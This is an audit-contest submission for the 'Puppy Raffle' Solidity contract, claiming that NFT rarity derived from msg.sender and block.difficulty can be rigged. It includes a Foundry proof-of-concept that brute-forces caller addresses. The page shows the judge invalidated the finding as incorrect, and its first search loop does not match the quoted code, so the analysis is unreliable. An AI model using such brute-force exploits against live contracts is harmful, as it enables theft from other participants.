Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Predictable rarity calculation allows NFT rarity manipulation

The rarity calculation in selectWinner (L166-168) uses even fewer entropy sources than the winner selection:

uint256 rarity = uint256(
keccak256(abi.encodePacked(msg.sender, block.difficulty))
) % 100;

Only msg.sender and block.difficulty are used -- block.timestamp is excluded. Since block.difficulty is deterministic before block finalization and msg.sender is chosen by the caller, the rarity outcome is fully predictable.

An attacker can search off-chain for an address where both the winner index and the rarity hash produce desired outcomes (e.g., legendary rarity). Because the rarity hash uses fewer inputs, this search is computationally inexpensive.

Exploit Scenario

  1. The attacker computes keccak256(candidate, block.difficulty) % 100 for multiple candidate addresses off-chain.

  2. The attacker selects an address that produces rarity > 95 (legendary tier).

  3. The attacker also brute-forces the msg.sender to ensure winnerIndex points to the desired player index.

  4. The attacker calls selectWinner from the crafted address, simultaneously guaranteeing a win and a legendary NFT.

Proof of Concept

function test_attackerCanGetLegendaryRarity() public {
uint256 LEGENDARY_RARITY = 5;
uint256 COMMON_RARITY = 70;
uint256 RARE_RARITY = 25;
// Attacker searches off-chain for an address that produces
// legendary rarity at the current block.difficulty.
address attackerAddr;
uint256 nonce = 0;
while (true) {
address candidate = address(
uint160(uint256(keccak256(abi.encodePacked(nonce))))
);
uint256 rarity = uint256(
keccak256(abi.encodePacked(candidate, block.difficulty))
) % 100;
if (rarity > COMMON_RARITY + RARE_RARITY) {
attackerAddr = candidate;
break;
}
nonce++;
}
// Set up 4 players with attacker at index 0
address[] memory players = new address[](4);
players[0] = attackerAddr;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
// Brute-force a caller address that produces both
// winnerIndex == 0 and legendary rarity
address caller;
uint256 callerNonce = 0;
while (true) {
address candidate = address(
uint160(uint256(keccak256(abi.encodePacked(callerNonce))))
);
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(
candidate, block.timestamp, block.difficulty
)
)
) % 4;
uint256 rarity = uint256(
keccak256(abi.encodePacked(candidate, block.difficulty))
) % 100;
if (winnerIndex == 0 && rarity > COMMON_RARITY + RARE_RARITY) {
caller = candidate;
break;
}
callerNonce++;
}
// The attacker calls selectWinner from the crafted address
vm.prank(caller);
puppyRaffle.selectWinner();
// Verify the attacker won and got legendary rarity
assertEq(puppyRaffle.previousWinner(), attackerAddr);
assertEq(puppyRaffle.tokenIdToRarity(0), LEGENDARY_RARITY);
}

Recommendations

Short term: Combine the winner and rarity finding into a single recommendation: use a verifiable random function oracle for both operations.

Long term: Use Chainlink VRF or equivalent for all randomness needs. A single VRF callback can derive both the winner index and rarity from one verifiable random seed.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!